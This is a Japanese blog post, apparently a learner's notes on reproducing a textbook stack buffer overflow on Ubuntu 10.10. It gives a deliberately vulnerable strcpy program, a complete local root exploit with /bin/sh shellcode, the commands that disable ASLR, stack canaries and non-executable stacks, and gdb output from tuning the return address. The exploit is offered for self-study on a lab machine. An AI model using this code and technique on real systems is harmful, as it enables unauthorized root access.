Ubuntu10.10でHACKING美しき策謀のexploit.cをテスト
相当苦労しましたが一歩前進したので覚え書きです。
ちょっと長くなりそうです。
まずは本に掲載されている脆弱性のあるソースです。
vlun.c
#include <stdio.h> int main(int argc, char *argv[]){ char buffer[500]; strcpy(buffer, argv[1]); return 0; }
そしてアタックコードです。
exploit.c
#include <stdlib.h> char shellcode[]= "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; unsigned long sp(void){ __asm__("movl %esp, %eax"); } int main(int argc, char *argv[]){ int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; esp = sp(); ret = esp - offset; printf("sp = 0x%x\n",esp); printf("offset = 0x%x\n",offset); printf("ret = 0x%x\n",ret); buffer = malloc(600); ptr = buffer; addr_ptr = (long *)ptr; for(i=0; i<600; i += 4){ *(addr_ptr++) = ret; } for(i=0; i<200; i++){ buffer[i] = '\x90'; } ptr = buffer + 200; for(i=0; i<strlen(shellcode); i++){ *(ptr++) = shellcode[i]; } buffer[600-1] = 0; execl("./vuln", "vuln", buffer, 0); free(buffer); return 0; }
脆弱性のあるプログラムを更に危険にします。
$sudo chown root vuln $sudo chmod +s vuln
これは何をしているかっていうとvulnのオーナーをrootにしてsuid権限を付けているわけですよ。
passwdコマンドのように誰でもroot権限で実行できるプログラムにするわけです。
ただもちろんこのプログラムを実行してもrootでなんでもできるわけではありません。
passwdコマンドでもそうですよね。
それからアタックコードは簡単に説明すると脆弱性のあるプログラムのstrcpyをバッファオーバーフローさせて
スタックの戻りアドレスがある箇所を書き換えます。
書き換えたアドレスにジャンプする位置に機械語を埋め込まれているのでその機械語が実行されます。
その機械語はshを実行する命令なので、rootでshを実行するのです。
このコードそのまま実行するだけでは上手いこと動きません。
UbuntuといいますかLinuxやgccがセキュアになってきているからです。
まず次の機構が働いています。
ALSRというスタックやヒープのアドレス空間をランダムに配置するのです。
そうするとスタックに機械語を埋め込んでそこへジャンプさせるのが難しくな
ります。
もうひとつはStackProtecter。これはスタックが破壊されていないかチェック
するためにカナリヤ値などを埋め込んだりするやつっぽいです。
詳しいことは分りません。
あと一つ。
スタック自体が実行できなくなっているのです。
これらを回避するには次のやりかたが必要です。
$sudo sysctl -w kernel.randomize_va_space=0
これでALSRを止めます。
$gcc -fno-stack-protector -z execstack -o exploit exploit.c
これで出来るかと思ったのですがなかなか出来ません。
$ ./exploit sp = 0xbffff338 offset = 0x0 ret = 0xbffff338 セグメンテーション違反です
こうなって終わってしまいます。
それでgdbで追ってみたのです。
実際にはこれよりも前にひとつのソースにまとめてみたり機械語を別のものに
変えてみたりいろいろ試してみたりしたのですが、
とりあえずキーとなったのはこの内容です。
(gdb) b main Breakpoint 1 at 0x8048495: file exploit.c, line 19. (gdb) r Starting program: /home/hogehoge/exploit Breakpoint 1, main (argc=1, argv=0xbffff944) at exploit.c:19 (gdb) disas Dump of assembler code for function main: 0x0804848b <+0>: push %ebp 0x0804848c <+1>: mov %esp,%ebp 0x0804848e <+3>: and $0xfffffff0,%esp 0x08048491 <+6>: push %ebx 0x08048492 <+7>: sub $0x3c,%esp => 0x08048495 <+10>: movl $0x0,0x18(%esp) 0x0804849d <+18>: call 0x8048484 <sp> 0x080484a2 <+23>: mov %eax,0x1c(%esp) 0x080484a6 <+27>: mov 0x18(%esp),%eax 0x080484aa <+31>: mov 0x1c(%esp),%edx 0x080484ae <+35>: mov %edx,%ecx 0x080484b0 <+37>: sub %eax,%ecx 0x080484b2 <+39>: mov %ecx,%eax 0x080484b4 <+41>: mov %eax,0x20(%esp) 0x080484b8 <+45>: mov 0x1c(%esp),%eax 0x080484bc <+49>: mov %eax,0x4(%esp) 0x080484c0 <+53>: movl $0x80486b0,(%esp) 0x080484c7 <+60>: call 0x80483a4 <printf@plt> 0x080484cc <+65>: mov 0x18(%esp),%eax 0x080484d0 <+69>: mov %eax,0x4(%esp) 0x080484d4 <+73>: movl $0x80486bb,(%esp) 0x080484db <+80>: call 0x80483a4 <printf@plt> 0x080484e0 <+85>: mov 0x20(%esp),%eax 0x080484e4 <+89>: mov %eax,0x4(%esp) 0x080484e8 <+93>: movl $0x80486ca,(%esp) 0x080484ef <+100>: call 0x80483a4 <printf@plt> 0x080484f4 <+105>: movl $0x258,(%esp) 0x080484fb <+112>: call 0x80483b4 <malloc@plt> 0x08048500 <+117>: mov %eax,0x28(%esp) 0x08048504 <+121>: mov 0x28(%esp),%eax 0x08048508 <+125>: mov %eax,0x2c(%esp) 0x0804850c <+129>: mov 0x2c(%esp),%eax 0x08048510 <+133>: mov %eax,0x24(%esp) 0x08048514 <+137>: movl $0x0,0x14(%esp) 0x0804851c <+145>: jmp 0x8048532 <main+167> 0x0804851e <+147>: mov 0x24(%esp),%eax 0x08048522 <+151>: mov 0x20(%esp),%edx 0x08048526 <+155>: mov %edx,(%eax) 0x08048528 <+157>: addl $0x4,0x24(%esp) 0x0804852d <+162>: addl $0x4,0x14(%esp) 0x08048532 <+167>: cmpl $0x257,0x14(%esp) 0x0804853a <+175>: jle 0x804851e <main+147> 0x0804853c <+177>: movl $0x0,0x14(%esp) 0x08048544 <+185>: jmp 0x8048556 <main+203> 0x08048546 <+187>: mov 0x14(%esp),%eax 0x0804854a <+191>: add 0x28(%esp),%eax 0x0804854e <+195>: movb $0x90,(%eax) 0x08048551 <+198>: addl $0x1,0x14(%esp) 0x08048556 <+203>: cmpl $0xc7,0x14(%esp) 0x0804855e <+211>: jle 0x8048546 <main+187> 0x08048560 <+213>: mov 0x28(%esp),%eax 0x08048564 <+217>: add $0xc8,%eax 0x08048569 <+222>: mov %eax,0x2c(%esp) 0x0804856d <+226>: movl $0x0,0x14(%esp) 0x08048575 <+234>: jmp 0x8048592 <main+263> 0x08048577 <+236>: mov 0x14(%esp),%eax 0x0804857b <+240>: movzbl 0x804a040(%eax),%edx 0x08048582 <+247>: mov 0x2c(%esp),%eax 0x08048586 <+251>: mov %dl,(%eax) 0x08048588 <+253>: addl $0x1,0x2c(%esp) 0x0804858d <+258>: addl $0x1,0x14(%esp) 0x08048592 <+263>: mov 0x14(%esp),%ebx 0x08048596 <+267>: movl $0x804a040,(%esp) 0x0804859d <+274>: call 0x8048394 <strlen@plt> 0x080485a2 <+279>: cmp %eax,%ebx 0x080485a4 <+281>: jb 0x8048577 <main+236> 0x080485a6 <+283>: mov 0x28(%esp),%eax 0x080485aa <+287>: add $0x257,%eax 0x080485af <+292>: movb $0x0,(%eax) 0x080485b2 <+295>: movl $0x0,0xc(%esp) 0x080485ba <+303>: mov 0x28(%esp),%eax 0x080485be <+307>: mov %eax,0x8(%esp) 0x080485c2 <+311>: movl $0x80486d6,0x4(%esp) 0x080485ca <+319>: movl $0x80486db,(%esp) 0x080485d1 <+326>: call 0x8048374 <execl@plt> 0x080485d6 <+331>: mov 0x28(%esp),%eax 0x080485da <+335>: mov %eax,(%esp) 0x080485dd <+338>: call 0x8048384 <free@plt> 0x080485e2 <+343>: mov $0x0,%eax 0x080485e7 <+348>: add $0x3c,%esp 0x080485ea <+351>: pop %ebx 0x080485eb <+352>: mov %ebp,%esp 0x080485ed <+354>: pop %ebp 0x080485ee <+355>: ret End of assembler dump. (gdb) s (gdb) sp () at exploit.c:10 (gdb) (gdb) main (argc=1, argv=0xbffff944) at exploit.c:21 (gdb) (gdb) sp = 0xbffff848 (gdb) offset = 0x0 (gdb) ret = 0xbffff848 (gdb) (gdb) (gdb) (gdb) (gdb) u (gdb) (gdb) (gdb) (gdb) (gdb) (gdb) (gdb) (gdb) (gdb) s (gdb) p buffer $1 = 0x804b008 "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"... (gdb) p *buffer $2 = -112 '\220' (gdb) x/32xw 0x804b008 0x804b008: 0x90909090 0x90909090 0x90909090 0x90909090 0x804b018: 0x90909090 0x90909090 0x90909090 0x90909090 0x804b028: 0x90909090 0x90909090 0x90909090 0x90909090 0x804b038: 0x90909090 0x90909090 0x90909090 0x90909090 0x804b048: 0x90909090 0x90909090 0x90909090 0x90909090 0x804b058: 0x90909090 0x90909090 0x90909090 0x90909090 0x804b068: 0x90909090 0x90909090 0x90909090 0x90909090 0x804b078: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0x804b088: 0x90909090 0x90909090 0x90909090 0x90909090 0x804b098: 0x90909090 0x90909090 0x90909090 0x90909090 0x804b0a8: 0x90909090 0x90909090 0x90909090 0x90909090 0x804b0b8: 0x90909090 0x90909090 0x90909090 0x90909090 0x804b0c8: 0x90909090 0x90909090 0x46b0c031 0xc931db31 0x804b0d8: 0x16eb80cd 0x88c0315b 0x5b890743 0x0c438908 0x804b0e8: 0x4b8d0bb0 0x0c538d08 0xe5e880cd 0x2fffffff 0x804b0f8: 0x2f6e6962 0xbfff6873 0xbffff848 0xbffff848 (gdb) 0x804b108: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b118: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b128: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b138: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b148: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b158: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b168: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b178: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 (gdb) 0x804b188: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b198: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b1a8: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b1b8: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b1c8: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b1d8: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b1e8: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b1f8: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 (gdb) 0x804b208: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b218: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b228: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b238: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b248: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0x804b258: 0xbffff848 0x00fff848 0x00000000 0x00020da1 0x804b268: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b278: 0x00000000 0x00000000 0x00000000 0x00000000
とりあえずbufferはこんなふうにできます。
vulnをexeclするところ
(gdb) s process 28573 is executing new program: /home/hogehoge/vuln Breakpoint 1, 0x080483c7 in main () (gdb) i r eax 0xbffff734 -1073744076 ecx 0x53880be3 1401424867 edx 0x2 2 ebx 0xb7fc8ff4 -1208184844 esp 0xbffff688 0xbffff688 ebp 0xbffff688 0xbffff688 esi 0x0 0 edi 0x0 0 eip 0x80483c7 0x80483c7 <main+3> eflags 0x200246 [ PF ZF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) disas Dump of assembler code for function main: 0x080483c4 <+0>: push %ebp 0x080483c5 <+1>: mov %esp,%ebp => 0x080483c7 <+3>: and $0xfffffff0,%esp 0x080483ca <+6>: sub $0x210,%esp 0x080483d0 <+12>: mov 0xc(%ebp),%eax 0x080483d3 <+15>: add $0x4,%eax 0x080483d6 <+18>: mov (%eax),%eax 0x080483d8 <+20>: mov %eax,0x4(%esp) 0x080483dc <+24>: lea 0x1c(%esp),%eax 0x080483e0 <+28>: mov %eax,(%esp) 0x080483e3 <+31>: call 0x80482f4 <strcpy@plt> 0x080483e8 <+36>: mov $0x0,%eax 0x080483ed <+41>: leave 0x080483ee <+42>: ret End of assembler dump. (gdb) s Single stepping until exit from function main, which has no line number information. Warning: Cannot insert breakpoint 0. Error accessing memory address 0xd: 入力/出力エラーです. 0xbffff848 in ?? ()
なんかのエラーがでました。
この状態を見てみます。
(gdb) i r eax 0x0 0 ecx 0x0 0 edx 0x258 600 ebx 0xb7fc8ff4 -1208184844 esp 0xbffff690 0xbffff690 ebp 0xbffff848 0xbffff848 esi 0x0 0 edi 0x0 0 eip 0xbffff848 0xbffff848 eflags 0x200246 [ PF ZF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/32xw $esp 0xbffff690: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0xbffff6a0: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0xbffff6b0: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0xbffff6c0: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0xbffff6d0: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0xbffff6e0: 0x00fff848 0x00000000 0x00000002 0x08048310 0xbffff6f0: 0x00000000 0xb7ff5d90 0xb7e86c0b 0xb7ffeff4 0xbffff700: 0x00000002 0x08048310 0x00000000 0x08048331 (gdb) x/32xw $esp-200 0xbffff5c8: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0xbffff5d8: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0xbffff5e8: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0xbffff5f8: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0xbffff608: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0xbffff618: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0xbffff628: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 0xbffff638: 0xbffff848 0xbffff848 0xbffff848 0xbffff848 (gdb) x/32xw $esp-400 0xbffff500: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff510: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff520: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff530: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff540: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff550: 0x90909090 0x46b0c031 0xc931db31 0x16eb80cd 0xbffff560: 0x88c0315b 0x5b890743 0x0c438908 0x4b8d0bb0 0xbffff570: 0x0c538d08 0xe5e880cd 0x2fffffff 0x2f6e6962
なんかスタックよりだいぶ前にbufferが入ってるっぽいです。
eipが0xbffff848なので実行したいコードよりも後ろの方にいってるんですね。
そこで exploit.cのoffsetというところで低位アドレスの方へジャンプするよ
うに徐々にずらしていってみました。
そうすると
offset=1000にするときちんと機械語が実行されてrootがとれたのです。
何か他にもセキュリティでもあるんじゃないかと思うんですよ。
それが何かは分かりませんが。
機械語も実行されることも分かりましたしこの辺で次へ進みたいとおもいます。
参考URL
http://d.hatena.ne.jp/tomitake_flash/20100411/1270996605
http://ruffnex.oc.to/defolos/exploiting/sas-exp.html
■追記 2010.1.21
vulnもstackprotectorとexecstackをオプションで指定しないと動かないです。
$gcc -fno-stack-protector -z execstack -o vuln vuln.c